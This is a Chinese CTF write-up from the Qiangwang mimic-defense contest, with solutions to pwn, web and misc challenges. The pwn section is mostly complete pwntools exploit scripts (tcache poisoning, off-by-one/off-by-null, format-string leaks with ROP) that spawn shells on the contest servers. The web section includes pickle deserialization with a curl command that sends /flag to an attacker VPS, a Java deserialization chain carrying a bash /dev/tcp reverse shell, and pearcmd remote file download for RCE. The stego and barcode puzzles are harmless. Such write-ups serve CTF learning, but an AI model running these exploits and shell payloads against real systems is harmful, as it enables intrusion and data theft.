“强网”拟态防御国际精英挑战赛 WP
战队名称:WHT 战队
战队排名:34
题目名称
Bitflip
EXP:
#coding:utf-8
from pwn import*
context(arch='amd64',log_level='debug')
#p=process('./bitflip')
p=remote('124.71.130.185',49154)
elf=ELF('./bitflip')
libc=elf.libc
def add(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
def edit(idx,content):
p.sendlineafter('choice: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Content: ',content)
def show(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))
def delete(idx):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
#gdb.attach(p)
add(0, 0x18)
add(1, 0x18)
add(2, 0x38)
add(3, 0x18)
edit(0,'A'*0x18+'\x61')
delete(1)
add(5,0x50)
delete(2)
edit(5,'A'*0x28)
show(5)
p.recvuntil('A'*0x28)
tcache=u64(p.recv(6).ljust(8,'\x00'))-0x0a+0x10
success('tcache:'+hex(tcache))
edit(5,'A'*0x18+p64(0x41)+p64(tcache))
add(2,0x38)
add(6,0x38)
edit(6,'\x00'*0x23+'\x07')
delete(2)
delete(6)
add(7,0x28)
show(7)
p.recvuntil('Content: ')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x3ebee0
success('libc_base:'+hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
#delete(2)
edit(5,'A'*0x18+p64(0x41)+p64(free_hook-8))
add(2,0x38)
add(8,0x38)
edit(8,'/bin/sh\x00'+p64(system))
delete(8)
p.interactive()
题目名称
old_school
EXP:
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
p=process('./old_school')
p=remote('121.36.194.21',49154)
elf=ELF('./old_school')
libc=elf.libc
def add(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
def edit(idx,content):
p.sendlineafter('choice: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Content: ',content)
def show(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))
def delete(idx):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
#gdb.attach(p)
# malloc 7 chunks
for i in range(7):
add(i, 0x80)
# get sandwich-chunk
add(7, 0x80)
add(8, 0x18)
add(9, 0x80)
add(10, 0x10)
edit(10,"/bin/sh\x00") # gap top-chunk
# fulfill tcache bin[0x90]
for i in range(7):
delete(i)
delete(7)
#offbyone
edit(8, "a" * 0x10 + p64(0xb0) + "\x90")
# unlink
delete(8)
delete(9)
# leak_addr
add(0, 0xa0)
edit(0,"a" * 8)
show(0)
msg = p.recvuntil("Content: aaaaaaaa")
leak_libc_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base_addr = leak_libc_addr - 0x3ebd0a
libc.address = libc_base_addr success('libc_base:'+hex(libc_base_addr))
# change fd-ptr
edit(0, "a" * 0x88 + p64(0x21) + p64(libc.sym['__free_hook']))
# tcache bin attack
add(1, 0x10)
add(2, 0x10)
edit(2,p64(libc.sym['system']))
# get shell
delete(10)
p.interactive()
题目名称
Pwnpwn
#### 漏洞分析
read 空间超过栈空间,并且有格式化字符串漏洞
unsigned __int64 vuln()
{
signed int i; // [rsp+Ch] [rbp-74h]
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("hello");
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200uLL);
printf(&buf, &buf);
}
return __readfsqword(0x28u) ^ v3;
}
#### 具体操作
先利用格式化字符串漏洞泄露代码基址和 canary,之后利用栈溢出先填充 canary,在构造ROP,pop_rdi_ret + binsh_address + system_address
####
EXP:
def re(x):
return p.recv(x)
def ru(x):
return p.recvuntil(x)
def se(x):
return p.send(x)
def sl(x):
return p.sendline(x)
def vuln(payload):
sl("2")
ru("hello")
sl(payload)
pop_rdi_ret = 0xb83
system = 0x951
payload= "%18$p,%21$p,"
vuln(payload)
offset = 0x555555554bd0 - 0x555555554000
data = p.recvuntil(",", drop = True)
codebase = int(data,16) - offset
pop_rdi_ret = codebase + pop_rdi_ret
system = codebase + system
canary = int(p.recvuntil(",", drop = True),16)
success("code base is ", codebase)
success("canary is ", canary)
payload = "a" * 0x68 + p64(canary) + 'b' * 8 + p64(pop_rdi_ret) + p64(codebase + 0x202010)+
p64(system)
sl(payload)
p.interactive()
题目名称
sonic
EXP:
#coding:utf-8
from pwn import *
context(arch = 'amd64',log_level = 'debug')
#sh = process('./sonic')
sh = remote('123.60.63.90',6889)
#栈溢出打 nologinAuth
#gdb.attach(sh)
sh.recvuntil('Address=')
start = int(sh.recv(14),16)
success('main:'+hex(start))
payload = 'a'*0x20
payload += 'b'*8
payload += p64(main-149)
sh.sendline(payload)
sh.interactive()
题目名称
old_school_revenge
漏洞出现点
edit 函数中的写入数据部分存在漏洞 off-by-null
__int64 __fastcall sub_C61(__int64 a1, unsigned __int64 a2)
{
__int64 result; // rax
unsigned __int64 i; // [rsp+18h] [rbp-8h]
for ( i = 0LL; i < a2; ++i )
{
read(0, (void *)(a1 + i), 1uLL);
if ( *(_BYTE *)(a1 + i) == '\n' )
break;
}
result = a1 + i;
*(_BYTE *)(a1 + i) = 0;
return result;
}
#### 具体操作
1.先将 tcache 填满,通过 unsortedbin 来泄露 libc 加载基址
2.构造 0xf0 的堆块(chunk 头 为 0x101),先将 tcache[0x100]填满,构造三个相邻堆块0x100,0x18,0x100,先将 0x100 堆块放入 unsortedbin,在 0x18 堆块修改 prev_size 为 0x120,并且
通过 off-by-null,将下一个 0x100 堆块的 prev_in_use 置零,再次释放最后一个 0x100 堆块,unlink出一个 unsortedbins,吞掉了未释放的 0x18 堆块.
3.按照偏移再次申请到为释放的 0x18 堆块地址的堆块,此时 chunk_list[9]与 chunk_list[14]为同一个地址,释放 chunk_list[14],修改 chunk_list[9]的 fd 指针为 malloc_hook,完成tcachebinattack
4.修改 malloc_hook 为 one_gadget,再次申请堆块触发 one_gadget
EXP:
def success(name, data):
return p.success(name + ": 0x%x" % data)
def re(x):
return p.recv(x)
def ru(x):
return p.recvuntil(x)
def se(x):
return p.send(x)
def sl(x):
return p.sendline(x)
def menu(choice):
ru("Your choice: ")
sl(str(choice))
def add(idx, size):
menu(1)
ru("Index: ")
sl(str(idx))
ru("Size: ")
sl(str(size))
def edit(idx, content):
menu(2)
ru("Index: ")
sl(str(idx))
ru("Content: ")
sl(content)
def show(idx):
menu(3)
ru("Index: ")
sl(str(idx))
def delete(idx):
menu(4)
ru("Index: ")
sl(str(idx))
for i in range(8):
add(i, 0x80)
add(0x1f, 0x10)
for i in range(8):
delete(i)
add(7, 0x8)
show(7)
ru("Content: ")
data = p.recvuntil("\n", drop = True)
print data
libc.address = u64(data.ljust(8, '\x00')) - (0x00007ffff7dcfd20 - 0x7ffff79e4000)
print hex(libc.address)
malloc_hook = libc.sym["__malloc_hook"]
one = libc.address + one_gadget[2]
add(0x1e, 0x60)
add(8, 0xf0)
add(9, 0x18)#vuln
add(10, 0xf0)
for i in range(7):
add(11 + i, 0xf0)
for i in range(7):
delete(11 + i)
delete(8)
#extend unsortedbin
edit(9, 'a' * 0x10 + p64(0x120))
delete(10)
add(10, 0x90)
add(11, 0x50)
add(14, 0x30)
delete(14)
add(0x1d,0xd0)
#debugf(0xD6E)
edit(9, p64(malloc_hook))
add(14,0x30)
add(15,0x30)
edit(15, p64(one))
add(16, 0x30)
p.interactive()
题目名称
zerocalc
根据题目提示,可以读取提示的文件
于是尝试读取/etc/passwd 文件
可以跨目录读取文件,直接尝试读取 flag 文件。
题目名称
EasyFilter
源码分析:
变量 action 为行为变量,w 为写,r 为读,在写函数中,以 Get 方式交变量 c 为保存的文
件内容,文件名为随机的,写进去的内容也被以 base64 加密的方式存储,在读函数中,文
件以被 php 伪协议封装的形式做了输出。只要将读出来的内容进行 base64 解码即可。根据php 伪协议的 php://filter/convert.base64-decode/resource=xxx 进行读取,先尝试写入 phpinfo。
由于 basedir 的限制,使用../进行返回上级目录到 file/下,以 base64-decode 方式读取,可以
发现 phpinfo 函数被执行。
接下来就写入一句话,找到 flag 文件读取即可。
题目名称
new_hospital
浏览网页,发现 feature.php 目录下报错,显示了 knowledge 和 file_get_contents(.js)函数的报 错。尝试截断读取 index.php 文件,依旧报错。于是扫描目录,发现/old/目录。
扫描目录,得到 flag.php
在源码中发现了 feature.php?id=2,抓包发现存在 cookie 参数 API,将后面的 base64 解码之
后值为 123123.js
并且在最下面出现报错,浏览发现,相同的位置报出 file_get_contents()函数的错误,但是这里的文件没有被指定为 js文件,这里 js 后缀没发绕过,前面发现了 old 目录,访问发现和网站根目录一样,并且也存 在 feature.php,猜测为漏洞修复之前的页面,抓包添加 cookie,发现此文件没有限制后缀, 通过 API 将所需的文件名进行 base64 编码读取,猜测 flag 的位置为/var/www/html/flag
题目名称
ezPickle
在 app.py 文件中,index 页面中以 get 方式获取 name 变量,将 name 变量进行 pickle 反序列化,执行反序列化中的函数,在 config.py 文件中,提供了个后门函数,但是需要 notadmin 中的 admin 变量为 yes。所以构建思路为,pickle 反序列化执行后门函数,并且替换全局变量中的 notadmin 中 admin 变量为 yes。
参考文章:http://www.secwk.com/2021/08/09/22904/ 构建 opcode,执行 whoami 命令
Whoami 被执行但是没有回显,尝试反弹 shell。仍然没有回显,并且 vps 监听的端口上没有任何回显。
尝试使用 curl 命令连接。
有了反映,于是使用 curl 命令带出 flag
执行命令为:curl -F “@/flag” vps:port
题目名称
BlueWhale
伪加密,修改加密位,只能得出 out.pcapng,查看流量,只有一堆路由协议,没有任何密码提示内容,里面只有 5 个 tcp 流量,包含一个密码`th1sIsThEpassw0rD`
尝试解压缩包,示密码错误。
打开压缩包,发现里面有个`password.txt`文件。大小 17。和流量包里的密码长度差不多。尝试明文。
得到密码!2b$3&Ec
解压压缩包,得到一张图片
zsteg 查看:得到一张图片,使用 zsteg 进行解密,得到 flag。
题目名称
Jack-Shiro
shiro 验证绕过访问路由通过 jackson 反序列化打 cc 链 发现有 json 路由需要登陆通过`/;/json`绕过 直接上工具 ysomap 用 cc8 去打
use exploit LDAPLocalChainListener
set lport 8996
use payload CommonsCollections8
use bullet TransformerBullet
set version 3
set args 'bash -i >& /dev/tcp/ip/8866 0>&1'
run
题目名称
Give_me_your_0day
看源码是 Typecho
上网查质料就只要一个 Typecho 反序列化漏洞!
由于题目环境的原因:`config.inc.php` 文件是无法创建的!
代码审计:
就发现一处包含点!
我们可以通过控制 config 参数和 adapter 参数来控制 变量`$type`。就可以任
意文件包含(但是限制文件后缀是 php)!
那现在思路很明确了!
就找一个可以利用的 php 文件就行了!
查阅质料发现:可以包含 php 环境自带的 pearcmd 文件
然后通过`pear install -R /tmp http://127.0.0.1:8080/1.php` 命令下载恶意文件到服务器,实现 RCE!
### 测试
1 在服务器上使用 python 一句话开启 http 服务器:`python -m SimpleHTTPServer 8080`
2 通过`pear install -R /var/www/html http://0.0.0.0:8080/1.php` 命令下 载恶意文件到服务器,实现 RCE!
3 读取 FLAG:
题目名称
WeirdPhoto
由于是 png 图片,检查图片的 crc 校验码,发现不对
脚本爆破图片的高度,“爆破出图片的长宽为:1420*500”
import binascii,struct
misc = open(r'1.png','rb').read()
for w in range(2024):
for h in range(2024):
data = misc[12:16] + struct.pack('>I',w) + struct.pack('>I',h) +misc[24:29] crc = misc[29:33]
if (binascii.crc32(data) & 0xffffffff )== struct.unpack('>I',crc)[0]:
print('%d*%d' %(w,h))
修复图片得到
栏栅密码爆破旁边的字符串
得到压缩包的解压密码:THISISTHEANSWERTOOBSFUCATION
Out 文件 16 进制查看缺少文件头,补全 pdf 的文件头
Pdf 内没有有价值的信息,使用 wbstego 进行解密,得到 flag。
题目名称
Bar
下载附件是个 gif 图片,分解。看到有三种图片。
应该代表不同的编码。先试摩斯码
import os
from PIL import Image
filepath = '/Users/crazy/test/1023/out_gif/'
tmp_list = []
for i in range(334):
tmp = str(i)
if len(tmp)==1:
tmp ='00'+tmp
if len(tmp)==2:
tmp = '0'+tmp
filename = filepath+tmp+'.jpg'
im = Image.open(filename)
r,g,b = im.getpixel((5,5))
if r == 0:
r = '-'
if r == 255:
r = '.'
if r == 56:
r = '/'
tmp_list.append(r)
print(tmp_list)
tmp_r = "".join(tmp_list)
print("".join(tmp_list))
结果为:
-.-./---/-.././----./...--/-.-.----.--...-.-.-...-.-..--.-...-.-..-...-.-.-...-..--..-.-..--.-..-..-....-.-.-.-.-....-.-....-.-..-...-.-...-.. -.-..-.-...--..-.-..--.-..-..--..-.-..--.-.-...-...-..-.-....-.-.-..-...-.--...-.-.-....-.-.--.-...-.-..-..-..--...-.-.-..-...-.--..-.-..-....-. -.-..-...-.-.-...-....................-.-.----.-
进行摩斯解码:
得到`code93`
百度一下`code93`。得知是条形码。
再观察上面结果。只有少量的`/`。最后一个`/`后应为 code93 的内容。
将其转为`0`、`1`。
得到:
101011110110001010100010100110100010100100010101000100110010100110100100100001 010101010000101000010100100010100010010100101000110010100110100100110010100110 101000100010010100001010100100010110001010100001010110100010100100100110001010 1001000101100101001000010101001000101010001000000000000000000001010111101
按`1`为黑,`0`为白,做图
扫码无法识别。
写 pytho 程序,对上面的`01`结果进行识别:
import os
from PIL import Image
filepath = '/Users/crazy/test/1023/out_gif/' tmp_list = []
for i in range(334):
tmp = str(i)
if len(tmp)==1:
tmp ='00'+tmp
if len(tmp)==2:
tmp = '0'+tmp
filename = filepath+tmp+'.jpg'
im = Image.open(filename)
r,g,b = im.getpixel((5,5))
if r == 0:
r = '1'
if r ==255:
r = '0'
if r ==56:
r = '\n'
tmp_list.append(r)
print(tmp_list)
print(len(tmp_list))
tmp_r = "".join(tmp_list)
print("".join(tmp_list))
s2 = tmp_r.split('\n')[-1]
print(s2)
print('\n')
rrr= []
for i in range(0,len(s2),9):
tmp_t = s2[i:i+9]
rrr.append(tmp_t)
print(rrr)
dic
{"100010100":"0","100101100":"O","101001000":"1","100010110":"P","101000100":"2","11011
0100":"Q","101000010":"3","110110010":"R","100101000":"4","110101100":"S","100100100":"
5","110100110":"T","100100010":"6","110010110":"U","101010000":"7","110011010":"V","100
010010":"8","101101100":"W","100001010":"9","101100110":"X","110101000":"A","100110110
":"Y","110100100":"B","100111010":"Z","110100010":"C","100101110":"-","110010100":"D","11
1010100":".","110010010":"E","111010010":"SPACE","110001010":"F","111001010":"$","101101000":"G","101101110":"/","101100100":"H","101110110":"+","101100010":"I","110101110":"
%","100110100":"J","100100110":"($)","100011010":"K","111011010":"(%)","101011000":"L","1
11010110":"(/)","101001100":"M","100110010":"(+)","101000110":"N","101011110":"*
Start/Stop"}
for i in rrr:
tmp = dic[i]
print(tmp,end='')
结果报错,但得到了部分结果。
为:`F0C62DB973684DBDA896F9C5F6D962`
查看 code93 的编码规则,(http://www.appsbarcode.com/sc20130113/Code%2093.php)最后 两位为校验位。
应 该 是 后 最 的 校 验 位 有 错 误 。使 用 在 线 生 成 code93(https://products.aspose.app/barcode/zh-hans/generate/code93).
得到图片
根据 code93 的编码规则,(http://www.appsbarcode.com/sc20130113/Code%2093.php),识别出两个校验位为`um`。
所以 flag 为:
``` flag{f0c62db973684dbda896f9c5f6d962um}
题目名称
Mirror
`full.png`使用`010 Editor`打开出现 CRC 校验报错,猜测需要修复宽高,其次 发现了文件末尾附加了镜像翻转的`png`字节流数据 将附加数据取出来另存为`png`文件,通过分析不难发现将字节流数据逆序然 后每十六个字节流翻转一下即为正常的`png`数据
from binascii import *
with open('full1.png', 'rb') as f:
with open('res-full.png', 'wb') as f1:
hex_data = hexlify(f.read()).decode()[::-1]
for i in range(0, len(hex_data), 32):
data = hex_data[i:i+32][::-1]
f1.write(unhexlify(data))
即得到`full.png`和`res-full.png`两张图片,两张图片使用`010 Editor`打开都会出现 CRC 报错,使用脚本还原宽高
import binascii
import struct
import sys
file = 'full.png'
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
# 原 来 的 代 码 : crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'", ''))
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
sys.exit()
即得到完整的图片`full.png.png`以及`res-full.png.png`
很明显`res-full.png.png`可能存在盲水印
`flag.png`使用`PS`水平翻转一下
```html
32effq8aa8374a02a9p1636ae8901qa0
```
提示
```html
2-5 e-6 9-a p-b q-d
```
一开始以为只是`2->5 e->6 9->a p->b q->d`,替换后发现交并不对,猜测是都要相互替换即
python
flag='32effq8aa8374a02a9p1636ae8901qa0'
dict1 =
{'2':'5','5':'2','e':'6','6':'e','9':'a','a':'9','p':'b','b':'p','q':
'd','d':'q'}
flag_list = list(flag)
idx = 0
for char in flag_list:
for key in dict1:
if char == key:
flag_list[idx] = dict1[key]
idx += 1
res_flag = ''
for i in flag_list:
res_flag += i
print('flag{{{}}}'.format(res_flag))
bash
PS C:\Users\Administrator\Downloads\mirror> python .\replace.py
flag{356ffd89983749059ab1e3e968a01d90}